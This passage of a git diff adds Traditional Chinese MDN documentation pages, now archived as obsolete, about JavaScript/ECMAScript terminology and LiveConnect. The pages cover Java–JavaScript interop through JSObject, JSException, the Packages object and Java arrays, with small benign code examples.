+<h4 id="JavaScript_和_ECMAScript_術語" name="JavaScript_和_ECMAScript_術語">JavaScript 和 ECMAScript 術語</h4>
+<p>ECMAScript 規範使用的術語和語法對 JavaScript 程式員來說可能會很陌生。儘管在 ECMAScript 裡的語言說明有所不同，語言本身仍然是一樣的。JavaScript 支援所有在 ECMAScript 規範中描述的機能。</p>
+<p>JavaScript 的文件為 JavaScript 程式員適當的描述語言的表面。例如︰</p>
+<ul> <li>在 JavaScript 文件中不會討論全域物件，因為你不能直接使用。你使用的是全域物件的方法和屬性，已在 JavaScript 文件中稱為頂層函數和屬性來描述。</li> <li>在 JavaScript 文件中不會討論到沒有參數（零參數）的 <code>Number</code> 和 <code>String</code> 物件的建構子，因為產生的東西沒什麼用。沒有參數的 <code>Number</code> 建構子返回 +0，沒有參數的 <code>String</code> 建構子返回 ""（空字串）。</li>
+</ul>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:關於", "Core_JavaScript_1.5_教學:值") }}</p>
+<p> </p> <p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/JavaScript_Overview", "es": "es/Gu\u00eda_JavaScript_1.5/Concepto_de_JavaScript", "fr": "fr/Guide_JavaScript_1.5/Aper\u00e7u_de_JavaScript", "ja": "ja/Core_JavaScript_1.5_Guide/JavaScript_Overview", "ko": "ko/Core_JavaScript_1.5_Guide/JavaScript_Overview", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Przegl\u0105d_JavaScriptu", "zh-cn": "cn/Core_JavaScript_1.5_Guide/JavaScript\u603b\u89c8" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/liveconnect_概要/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/liveconnect_概要/index.html
new file mode 100644
index 0000000000..985cfe5989
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/liveconnect_概要/index.html
@@ -0,0 +1,11 @@
+---
+title: LiveConnect 概要
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/LiveConnect_概要
+---
+<p> </p>
+<h2 id="LiveConnect_概要" name="LiveConnect_概要">LiveConnect 概要</h2>
+<p><strong><a class="internal" href="/zh_tw/LiveConnect" title="zh tw/LiveConnect">LiveConnect</a></strong> 是應用程式介面的名稱，可提供 JavaScript 呼叫 Java 類別的方法的能力，反之亦然，也可以使用 Java 既有的基礎反向運用。</p>
+<dl> <dd><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/LiveConnect_%E6%A6%82%E8%A6%81/%E5%8C%85%E8%A3%9D%E5%99%A8%E7%9A%84%E9%81%8B%E7%94%A8" title="zh tw/Core JavaScript 1.5 教學/LiveConnect 概要/包裝器的運用">包裝器的運用</a></dd> <dd><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/LiveConnect_%E6%A6%82%E8%A6%81/JavaScript_%E5%90%91_Java_%E7%9A%84%E9%80%9A%E8%A8%8A" title="zh tw/Core JavaScript 1.5 教學/LiveConnect 概要/JavaScript 向 Java 的通訊">JavaScript 向 Java 的通訊</a></dd> <dd> <dl> <dd><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/LiveConnect_%E6%A6%82%E8%A6%81/JavaScript_%E5%90%91_Java_%E7%9A%84%E9%80%9A%E8%A8%8A#Packages_%E7%89%A9%E4%BB%B6" title="zh tw/Core JavaScript 1.5 教學/LiveConnect 概要/JavaScript 向 Java 的通訊#Packages 物件">Packages 物件</a></dd> <dd><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/LiveConnect_%E6%A6%82%E8%A6%81/JavaScript_%E5%90%91_Java_%E7%9A%84%E9%80%9A%E8%A8%8A#Java_%E9%99%A3%E5%88%97%E7%9A%84%E9%81%8B%E7%94%A8" title="zh tw/Core JavaScript 1.5 教學/LiveConnect 概要/JavaScript 向 Java 的通訊#Java 陣列的運用">Java 陣列的運用</a></dd> <dd><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/LiveConnect_%E6%A6%82%E8%A6%81/JavaScript_%E5%90%91_Java_%E7%9A%84%E9%80%9A%E8%A8%8A#%E5%8C%85%E8%A3%9D%E5%92%8C%E9%A1%9E%E5%88%A5%E7%9A%84%E5%8F%83%E8%80%83" title="zh tw/Core JavaScript 1.5 教學/LiveConnect 概要/JavaScript 向 Java 的通訊#包裝和類別的參考">包裝和類別的參考</a></dd> <dd><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/LiveConnect_%E6%A6%82%E8%A6%81/JavaScript_%E5%90%91_Java_%E7%9A%84%E9%80%9A%E8%A8%8A#char_%E9%A1%9E%E5%9E%8B%E7%9A%84%E5%8F%83%E6%95%B8" title="zh tw/Core JavaScript 1.5 教學/LiveConnect 概要/JavaScript 向 Java 的通訊#char 類型的參數">char 類型的參數</a></dd> <dd><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/LiveConnect_%E6%A6%82%E8%A6%81/JavaScript_%E5%90%91_Java_%E7%9A%84%E9%80%9A%E8%A8%8A#%E5%9C%A8_JavaScript_%E4%B8%AD%E8%99%95%E7%90%86_Java_%E7%9A%84%E4%BE%8B%E5%A4%96" title="zh tw/Core JavaScript 1.5 教學/LiveConnect 概要/JavaScript 向 Java 的通訊#在 JavaScript 中處理 Java 的例外">在 JavaScript 中處理 Java 的例外</a></dd> </dl> </dd> <dd><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/LiveConnect_%E6%A6%82%E8%A6%81/Java_%E5%90%91_JavaScript_%E7%9A%84%E9%80%9A%E8%A8%8A" title="zh tw/Core JavaScript 1.5 教學/LiveConnect 概要/Java 向 JavaScript 的通訊">Java 向 JavaScript 的通訊</a></dd> <dd> <dl> <dd><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/LiveConnect_%E6%A6%82%E8%A6%81/Java_%E5%90%91_JavaScript_%E7%9A%84%E9%80%9A%E8%A8%8A/LiveConnect_%E9%A1%9E%E5%88%A5%E7%9A%84%E4%BD%BF%E7%94%A8" title="zh tw/Core JavaScript 1.5 教學/LiveConnect 概要/Java 向 JavaScript 的通訊/LiveConnect 類別的使用">LiveConnect 類別的使用</a></dd> </dl> </dd> <dd><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/LiveConnect_%E6%A6%82%E8%A6%81/%E8%B3%87%E6%96%99%E9%A1%9E%E5%9E%8B%E7%9A%84%E8%BD%89%E6%8F%9B" title="zh tw/Core JavaScript 1.5 教學/LiveConnect 概要/資料類型的轉換">資料類型的轉換</a></dd> <dd> <dl> <dd><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/LiveConnect_%E6%A6%82%E8%A6%81/%E8%B3%87%E6%96%99%E9%A1%9E%E5%9E%8B%E7%9A%84%E8%BD%89%E6%8F%9B/%E5%BE%9E_JavaScript_%E5%88%B0_Java_%E7%9A%84%E8%BD%89%E6%8F%9B" title="zh tw/Core JavaScript 1.5 教學/LiveConnect 概要/資料類型的轉換/從 JavaScript 到 Java 的轉換">從 JavaScript 到 Java 的轉換</a></dd> <dd><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/LiveConnect_%E6%A6%82%E8%A6%81/%E8%B3%87%E6%96%99%E9%A1%9E%E5%9E%8B%E7%9A%84%E8%BD%89%E6%8F%9B/%E5%BE%9E_Java_%E5%88%B0_JavaScript_%E7%9A%84%E8%BD%89%E6%8F%9B" title="zh tw/Core JavaScript 1.5 教學/LiveConnect 概要/資料類型的轉換/從 Java 到 JavaScript 的轉換">從 Java 到 JavaScript 的轉換</a></dd> </dl> </dd>
+</dl>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:再談屬性的繼承:沒有多重繼承", "Core_JavaScript_1.5_教學:LiveConnect_概要:包裝器的運用") }}</p>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/LiveConnect_Overview", "es": "es/Gu\u00eda_JavaScript_1.5/Concepto_general_de_LiveConnect", "ja": "ja/Core_JavaScript_1.5_Guide/LiveConnect_Overview", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Podgl\u0105d_klas_LiveConnect" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/liveconnect_概要/java_向_javascript_的通訊/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/liveconnect_概要/java_向_javascript_的通訊/index.html
new file mode 100644
index 0000000000..aaf64ed784
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/liveconnect_概要/java_向_javascript_的通訊/index.html
@@ -0,0 +1,25 @@
+---
+title: Java 向 JavaScript 的通訊
+slug: >-
+  Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/LiveConnect_概要/Java_向_JavaScript_的通訊
+translation_of: Archive/Web/LiveConnect/LiveConnect_Overview
+---
+<p> </p>
+<p>如果你想要在 Java 中使用 JavaScript 物件，你必須在你的 Java 原始碼中引入 <code>netscape.javascript</code> 包裝。這個包裝定義了下面的類別︰</p>
+<ul> <li><code><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/LiveConnect/JSObject" title="zh tw/Core JavaScript 1.5 參考/LiveConnect/JSObject">netscape.javascript.JSObject</a></code> 可讓 Java 代碼存取 JavaScript 的方法和屬性。</li> <li><code><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83/LiveConnect/JSException" title="zh tw/Core JavaScript 1.5 參考/LiveConnect/JSException">netscape.javascript.JSException</a></code> 可讓 Java 代碼處理 JavaScript 的錯誤。</li>
+</ul>
+<p>詳見 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E5%8F%83%E8%80%83" title="zh tw/Core JavaScript 1.5 參考">Core JavaScript 參考</a> 以取得關於此類別的更多資訊。</p>
+<h3 id="LiveConnect_類別的位置" name="LiveConnect_類別的位置">LiveConnect 類別的位置</h3>
+<p>在舊版 Netscape 瀏覽器中，這些類別是連同瀏覽器一起散佈的。從 JavaScript 1.2 開始，這些類別是放在 .jar 檔案中散佈的；在稍早的 JavaScript 版本中，這些類別是放在 .zip 檔案中散佈的。例如，Windows NT 版本的 Netscape Navigator 4，這些類別是放在 Navigator 底下的 <code>Program\Java\Classes</code> 目錄裡的 <code>java40.jar</code> 檔案中散佈的。</p>
+<p>最近這些類別已改和昇陽的 Java Runtime 一同散佈；一開始是放在 Java Runtime 的散佈版本（JRE 1.3）底下的 "jre/lib" 目錄裡的 "jaws.jar" 檔案中，然後改放在同一目錄下的 "plugin.jar" 檔案中（JRE 1.4 以上）。</p>
+<h3 id="在_JDK_中使用_LiveConnect_類別" name="在_JDK_中使用_LiveConnect_類別">在 JDK 中使用 LiveConnect 類別</h3>
+<p>若要存取 LiveConnect 類別，有如下兩種方式可以指定 JDK 編譯器的 <code>CLASSPATH</code> 裡的 .jar 或 .zip 檔案位置︰</p>
+<ul> <li>建立 <code>CLASSPATH</code> 環境變數，並指明 .jar 或 .zip 檔案的路徑和名稱。</li> <li>當你編譯的時候，使用 <code>-classpath</code> 命令列參數指明 .jar 或 .zip 檔案的位置。</li>
+</ul>
+<p>要在 Windows NT 下指定環境變數，你可在控制台中雙擊系統圖示，並建立稱作 <code>CLASSPATH</code> 的使用者環境變數，其中的值類似下面︰</p>
+<pre class="eval">C:\Program Files\Java\jre1.4.1\lib\plugin.jar
+</pre>
+<p>詳見昇陽 JDK 文件，以取得有關 <code>CLASSPATH</code> 的更多資訊。</p>
+<p><strong>附註:</strong> 因為 Java 是強類型語言，而 JavaScript 是弱類型，當你使用 LiveConnect 的時候，JavaScript 執行時期引擎會為其他語言把參數值轉換成適當的資料類型。詳見 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/LiveConnect_%E6%A6%82%E8%A6%81/%E8%B3%87%E6%96%99%E9%A1%9E%E5%9E%8B%E7%9A%84%E8%BD%89%E6%8F%9B" title="zh tw/Core JavaScript 1.5 教學/LiveConnect 概要/資料類型的轉換">資料類型的轉換</a> 取得完整資訊。</p>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:LiveConnect_概要:JavaScript_向_Java_的通訊", "Core_JavaScript_1.5_教學:LiveConnect_概要:Java_向_JavaScript_的通訊:LiveConnect_類別的使用") }}</p>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/LiveConnect_Overview/Java_to_JavaScript_Communication", "es": "es/Gu\u00eda_JavaScript_1.5/Concepto_general_de_LiveConnect/Comunicaci\u00f3n_de_Java_con_JavaScript", "ja": "ja/Core_JavaScript_1.5_Guide/LiveConnect_Overview/Java_to_JavaScript_Communication", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Podgl\u0105d_klas_LiveConnect/Komunikacja_mi\u0119dzy_Java_a_JavaScript" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/liveconnect_概要/java_向_javascript_的通訊/liveconnect_類別的使用/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/liveconnect_概要/java_向_javascript_的通訊/liveconnect_類別的使用/index.html
new file mode 100644
index 0000000000..e66427fab8
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/liveconnect_概要/java_向_javascript_的通訊/liveconnect_類別的使用/index.html
@@ -0,0 +1,105 @@
+---
+title: LiveConnect 類別的使用
+slug: >-
+  Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/LiveConnect_概要/Java_向_JavaScript_的通訊/LiveConnect_類別的使用
+translation_of: Archive/Web/LiveConnect/LiveConnect_Overview
+---
+<p> </p>
+<h3 id="LiveConnect_類別的使用" name="LiveConnect_類別的使用">LiveConnect 類別的使用</h3>
+<p>所有在 Java 代碼中的 JavaScript 物件都是以 <code>netscape.javascript.JSObject</code> 的實體呈現的。當你在你的 Java 代碼內部呼叫方法時，你可以把 JavaScript 物件當作方法的其中一個參數來傳入。要做到這一點，你必須定義能夠對應於 <code>JSObject</code> 類型的方法的參數形式。</p>
+<p>除此之外，當你在 Java 代碼中使用 JavaScript 物件的任何時候，你就要把使用到 JavaScript 物件的呼叫放置於 <code>try...catch</code> 語法之中，並處理 <code>netscape.javascript.JSException</code> 類型的例外。如此一來，當執行 JavaScript 代碼並出現 <code>JSException</code> 類型的例外時，就可讓你的 Java 代碼處理這些錯誤。</p>
+<h4 id="使用_JSObject_存取_JavaScript" name="使用_JSObject_存取_JavaScript">使用 JSObject 存取 JavaScript</h4>
+<p>舉例來說，假定你正在使用稱為 JavaDog 的 Java 類別。如同下面的代碼所示，<code>JavaDog</code> 建構子可接受 JavaScript 物件 <code>jsDog</code>，這個物件被定義成和參數一樣的 <code>JSObject</code> 類型︰</p>
+<pre>import netscape.javascript.*;
+
+public class JavaDog
+{
+    public String dogBreed;
+    public String dogColor;
+    public String dogSex;
+
+    // define the class constructor
+    public JavaDog(JSObject jsDog)
+    {
+        // use try...catch to handle JSExceptions here
+        this.dogBreed = (String)jsDog.getMember("breed");
+        this.dogColor = (String)jsDog.getMember("color");
+        this.dogSex = (String)jsDog.getMember("sex");
+    }
+}
+</pre>
+<p>注意 <code>JSObject</code> 的 <code>getMember</code> 方法是用來存取 JavaScript 物件的屬性。這個例子中使用 <code>getMember</code> 把 JavaScript 的 <code>jsDog.breed</code> 屬性值代給 Java 的資料成員 <code>JavaDog.dogBreed</code>。</p>
+<p><strong>附註:</strong> 更接近實際使用的例子會把 <code>getMember</code> 的呼叫放置在 <code>try...catch</code> 語法的內部，以處理 <code>JSException</code> 類型的錯誤。詳見 在 Java 中處理 JavaScript 例外 以取得更多資訊。</p>
+<p>為了獲得對 <code>getMember</code> 如何運作的良好感覺，仔細閱讀自訂 JavaScript 的物件 <code>Dog</code> 的定義︰</p>
+<pre>function Dog(breed,color,sex) {
+   this.breed = breed
+   this.color = color
+   this.sex = sex
+}
+</pre>
+<p>你可以如下呼叫 gabby 來建立 JavaScript 的 Dog 實體︰</p>
+<pre>gabby = new Dog("lab","chocolate","female")
+</pre>
+<p>如果你對 <code>gabby.color</code> 求值，你會看到他的值是 "chocolate"。現在假定你在你的 JavaScript 代碼中把 <code>gabby</code> 物件傳給建構子並建立 <code>JavaDog</code> 的實體如下︰</p>
+<pre>javaDog = new Packages.JavaDog(gabby)
+</pre>
+<p>如果你對 <code>javaDog.dogColor</code> 求值，你會看到他的值也是 "chocolate"，因為在 Java 的建構子中的 <code>getMember</code> 方法會把 <code>gabby.color</code> 的值代給 <code>dogColor</code>。</p><h4 id="在_Java_中處理_JavaScript_例外" name="在_Java_中處理_JavaScript_例外">在 Java 中處理 JavaScript 例外</h4>
+<p>當在 Java 裡被呼叫的 JavaScript 代碼在執行時期失敗的時候，他就會拋出例外。如果你有意在 Java 裡呼叫 JavaScript 代碼，你可以在 <code>try...catch</code> 區塊裡捕捉例外。在你的 Java 代碼中可以取得形如 <code>netscape.javascript.JSException</code> 實體的 JavaScript 例外。</p>
+<p><code>JSException</code> 即包裝了由 JavaScript 拋出的所有例外類型的 Java 包裝器，類似於用在 JavaScript 物件的包裝器 <code>JSObject</code> 實體的運作方式。當你在 Java 代碼中對 JavaScript 求值時可以使用 <code>JSException</code>。</p>
+<p>當你在 Java 中對 JavaScript 代碼求值的時候，下列情況便會導致執行時期錯誤︰</p>
+<ul> <li>JavaScript 代碼並未被求值，原因可能出在 JavaScript 編譯上的錯誤或在執行時期所發生的某些其他錯誤。JavaScript 解譯器產生的錯誤訊息會被轉換成 <code>JSException</code> 的實體。</li> <li>Java 成功的對 JavaScript 代碼求值，但 JavaScript 代碼執行的是未經處理的 throw 語法。JavaScript 拋出的例外是被包裝成 JSException 的實體。可以使用 JSException 的 getWrappedException 方法在 Java 中解開例外。</li>
+</ul>
+<p>舉例來說，假設 Java 物件 <code>eTest</code> 會對你所傳入的字串 <code>jsCode</code> 求值。你可以藉由例外處理器的實行，來回應求值時所產生的任何一種執行時期錯誤的類型︰</p>
+<pre>import netscape.javascript.JSObject;
+import netscape.javascript.JSException;
+
+public class eTest {
+    public static Object doit(JSObject obj, String jsCode) {
+        try {
+            obj.eval(jsCode);
+        } catch (JSException e) {
+            if (e.getWrappedException()==null)
+                return e;
+            return e.getWrappedException();
+        }
+        return null;
+    }
+}
+</pre>
+<p>在本範例中，在 try 區塊裡的代碼試圖對你所傳入的字串 <code>jsCode</code> 求值。就讓我們假設你傳入了字串 "<code>myFunction()</code>" 當作 <code>jsCode</code> 的值。如果 myFunction 並未定義成 JavaScript 的函數，JavaScript 解譯器無法對 jsCode 求值。解譯器便會產生錯誤訊息，Java 處理器捕捉到錯誤訊息，然後 <code>doit</code> 方法會返回 <code>netscape.javascript.JSException</code> 的實體。</p>
+<p>然而，假設 <code>myFunction</code> 已在 JavaScript 中定義如下︰</p>
+<pre>function myFunction() {
+   try {
+      if (theCondition == true) {
+         return "Everything's ok";
+      } else {
+         throw "JavaScript error occurred" ;
+      }
+   } catch (e) {
+      if (canHandle == true) {
+         handleIt();
+      } else {
+         throw e;
+      }
+   }
+}
+</pre>
+<p>如果 <code>theCondition</code> 為 false，函數就會拋出例外。例外會在 JavaScript 代碼中被捕捉，如果 <code>canHandle</code> 為 true，JavaScript 就會處理例外。如果 <code>canHandle</code> 為 false，就會再度拋出例外，Java 處理器捕捉到例外，然後 doit 方法返回 Java 字串︰</p>
+<pre>JavaScript error occurred
+</pre>
+<p>詳見 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E4%BE%8B%E5%A4%96%E8%99%95%E7%90%86%E8%AA%9E%E6%B3%95" title="zh tw/Core JavaScript 1.5 教學/例外處理語法">例外處理語法</a> 以取得有關 JavaScript 例外的完整資訊。</p><h4 id="向後相容性" name="向後相容性">向後相容性</h4>
+<p>在 JavaScript 1.3 及早期版本中，<code>JSException</code> 類別具有三個公開的建構子可選擇性的接受字串參數，這個參數可指明詳細的訊息或其他有關例外的資訊。<code>getWrappedException</code> 無法使用。</p>
+<p>使用 <code>try...catch</code> 語法如下，以在 JavaScript 1.3 及其早期版本中處理 LiveConnect 例外︰</p>
+<pre>try {
+   global.eval("foo.bar = 999;");
+} catch (Exception e) {
+   if (e instanceof JSException) {
+      jsCodeFailed()";
+   } else {
+      otherCodeFailed();
+   }
+}
+</pre>
+<p>在本例子中，如果 foo 尚未定義，<code>eval</code> 語句就會失敗。如果 <code>eval</code> 語句在 <code>try</code> 區塊中拋出 <code>JSException</code>，<code>catch</code> 區塊就會執行 <code>jsCodeFailed</code> 方法；如果 <code>try</code> 區塊拋出其他的錯誤，就會執行 <code>otherCodeFailed</code> 方法。</p>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:LiveConnect_概要:Java_向_JavaScript_的通訊", "Core_JavaScript_1.5_教學:LiveConnect_概要:資料類型的轉換") }}</p>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/LiveConnect_Overview/Java_to_JavaScript_Communication/Using_the_LiveConnect_Classes", "es": "es/Gu\u00eda_JavaScript_1.5/Concepto_general_de_LiveConnect/Comunicaci\u00f3n_de_Java_con_JavaScript/Utilizar_las_clases_de_LiveConnect", "ja": "ja/Core_JavaScript_1.5_Guide/LiveConnect_Overview/Java_to_JavaScript_Communication/Using_the_LiveConnect_Classes", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Podgl\u0105d_klas_LiveConnect/Komunikacja_mi\u0119dzy_Java_a_JavaScript/U\u017cywanie_klas_LiveConnect" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/liveconnect_概要/javascript_向_java_的通訊/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/liveconnect_概要/javascript_向_java_的通訊/index.html
new file mode 100644
index 0000000000..df24e60251
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/liveconnect_概要/javascript_向_java_的通訊/index.html
@@ -0,0 +1,87 @@
+---
+title: JavaScript 向 Java 的通訊
+slug: >-
+  Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/LiveConnect_概要/JavaScript_向_Java_的通訊
+translation_of: Archive/Web/LiveConnect/LiveConnect_Overview
+---
+<p> </p>
+<h3 id="JavaScript_向_Java_的通訊" name="JavaScript_向_Java_的通訊">JavaScript 向 Java 的通訊</h3>
+<p>當你參考 Java 的包裝 (package) 或類別的時候，或者運用 Java 物件或陣列的時候，你就使用了獨特的 LiveConnect 物件。所有 JavaScript 向 Java 的存取動作都會使用到這個物件，有關這些的摘要已列在下表中。</p>
+<table class="fullwidth-table"> <tbody> <tr> <th>物件</th> <th>說明</th> </tr> <tr> <td>JavaArray</td> <td>已包裝的 Java 陣列，會在 JavaScript 中的代碼存取。</td> </tr> <tr> <td>JavaClass</td> <td>JavaScript 對 Java 類別的參考。</td> </tr> <tr> <td>JavaObject</td> <td>已包裝的 Java 物件，會在 JavaScript 中的代碼存取。</td> </tr> <tr> <td>JavaPackage</td> <td>JavaScript 對 Java 包裝（package）的參考。</td> </tr> </tbody>
+</table>
+<p><small><strong>表 9.1 LiveConnect 物件</strong></small></p>
+<p><br>
+<strong>附註:</strong> 因為 Java 是強類型的語言，而 JavaScript 是弱類型，當你使用 LiveConnect 的時候，JavaScript 執行時期引撉會針對其他的語言把參數值轉換成適當的資料類型。參閱 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E5%80%BC#%E8%B3%87%E6%96%99%E9%A1%9E%E5%9E%8B%E7%9A%84%E8%BD%89%E6%8F%9B" title="zh tw/Core JavaScript 1.5 教學/值#資料類型的轉換">資料類型的轉換</a> 以取得完整資訊。</p>
+<p>某方面來看，LiveConnect 物件是一種隱形的存在，因為你會以相當直觀的方法與 Java 互動。例如，你可以使用 new 運算子和 Java 的建構子建立 Java 的 String 物件，並把這個物件代入給 JavaScript 的變數 <code>myString</code>，如下︰</p>
+<pre>var myString = new java.lang.String("Hello world")
+</pre>
+<p>在這個例子中，變數 <code>myString</code> 就是 <code>JavaObject</code>，因為他握有 Java 物件 <code>String</code> 的實體。就如同 <code>JavaObject</code>，<code>myString</code> 也可以存取 <code>java.lang.String</code> 公開的實體方法，以及他的親類別 <code>java.lang.Object</code>。這些 Java 方法就在 JavaScript 中作為 <code>JavaObject</code> 的方法來使用，你可以按如下方式呼叫︰</p>
+<pre>myString.length() // 返回 11
+</pre>
+<p>可在 JavaClass 物件上直接呼叫靜態成員。</p>
+<pre>alert(java.lang.Integer.MAX_VALUE); // 警報 2147483647
+</pre>
+<h4 id="Packages_物件" name="Packages_物件">Packages 物件</h4>
+<p>如果有某一個 Java 類別並不屬於 <code>java</code>、<code>sun</code>、<code>netscape</code> 包裝，你就使用到 <code>Packages</code> 來存取那個類別。例如，假設 Redwood 公司使用了稱為 <code>redwood</code> 的 Java 包裝用來容納各種該公司所實裝的 Java 類別。若要建立 <code>redwood</code> 裡的 <code>HelloWorld</code> 類別的實體，你可如下存取類別的建構子︰</p>
+<pre>var red = new Packages.redwood.HelloWorld()
+</pre>
+<p>你也可以存取位在預設包裝中的類別（也就是無須明確表示包裝名稱的類別）。例如，如果 HelloWorld 類別正好位在 <code>CLASSPATH</code> 裡而不在包裝裡，你可如下來做存取︰</p>
+<pre>var red = new Packages.HelloWorld()
+</pre>
+<p>LiveConnect 的 <code>java</code>、<code>sun</code>、<code>netscape</code> 物件針對常用的 Java 包裝提供簡寫。例如，你可如下使用︰</p>
+<pre>var myString = new java.lang.String("Hello world")
+</pre>
+<p>以取代較長的形式︰</p>
+<pre>var myString = new Packages.java.lang.String("Hello world")
+</pre><h4 id="Java_陣列的運用" name="Java_陣列的運用">Java 陣列的運用</h4>
+<p>當你在 JavaScript 中使用任意的 Java 方法建立陣列並加以參照的時候，你已經使用到 <code>JavaArray</code>。例如，下面的代碼以 10 個類型為 int 的元素建立了 <code>JavaArray x</code>︰</p>
+<pre>x = java.lang.reflect.Array.newInstance(java.lang.Integer, 10)
+</pre>
+<p>就如同 JavaScript <code>Array</code> 物件，<code>JavaArray</code> 也有可返回元素數目的 length 屬性。有別於 <code>Array.length</code>，<code>JavaArray.length</code> 是唯讀的屬性，因為 Java 陣列中的元素數目在建立的時候就已經固定住了。</p><h4 id="包裝和類別的參考" name="包裝和類別的參考">包裝和類別的參考</h4>
+<p>在 JavaScript 中建立 JavaPackage 和 <code>JavaClass</code> 物件，就能簡單的參照 Java 包裝和類別。在稍早的 Redwood 公司的例子中，參考 Packages.redwood 的就是 JavaPackage 物件。同樣的，參考諸如 <code>java.lang.String</code> 的也是 <code>JavaClass</code> 物件。</p>
+<p>大多數時候，你不必為 <code>JavaPackage</code> 和 <code>JavaClass</code> 物件而擔心—你只需使用 Java 包裝和類別來做事，LiveConnect 會默默的建立這些物件。在此有一個 LiveConnect 載入類別時會失敗的例子，而且需要你如下手工載入︰</p>
+<pre>var Widgetry = java.lang.Thread.currentThread().getContextClassLoader().loadClass("org.mywidgets.Widgetry");
+</pre>
+<p>在 JavaScript 1.3 及早期版本中，當你把 <code>JavaClass</code> 物件傳給 Java 方法作為參數的時候，這些物件並不會自動轉換成 <code>java.lang.Class</code> 的實體—你必須建立 <code>java.lang.Class</code> 實體的包裝器 (wrapper)。在下面的範例中，<code>forName</code> 方法建立了包裝器物件 <code>theClass</code>，然後把他傳給 <code>newInstance</code> 方法來建立陣列。</p>
+<pre>// JavaScript 1.3
+theClass = java.lang.Class.forName("java.lang.String")
+theArray = java.lang.reflect.Array.newInstance(theClass, 5)
+</pre>
+<p>在 JavaScript 1.4 以後的版本中，你可以直接把 <code>JavaClass</code> 物件傳送給方法，就如同下面的例子︰</p>
+<pre>// JavaScript 1.4
+theArray = java.lang.reflect.Array.newInstance(java.lang.String, 5)
+</pre><h4 id="char_類型的參數" name="char_類型的參數">char 類型的參數</h4>
+<p>在 JavaScript 1.4 和以後的版本中，你可以把單一字元的字串傳給所需參數的類型為 <code>char</code> 的 Java 方法。例如，你可以把字串 "H" 傳給 <code>Character</code> 建構子如下︰</p>
+<pre>c = new java.lang.Character("H")
+</pre>
+<p>在 JavaScript 1.3 和早期版本中，你就必須給這些方法傳入與字元的 Unicode 值相對應的整數。例如，下面的代碼會把值 "H" 代入給變數 <code>c</code>︰</p>
+<pre>c = new java.lang.Character(72)
+</pre><h4 id="在_JavaScript_中處理_Java_的例外" name="在_JavaScript_中處理_Java_的例外">在 JavaScript 中處理 Java 的例外</h4>
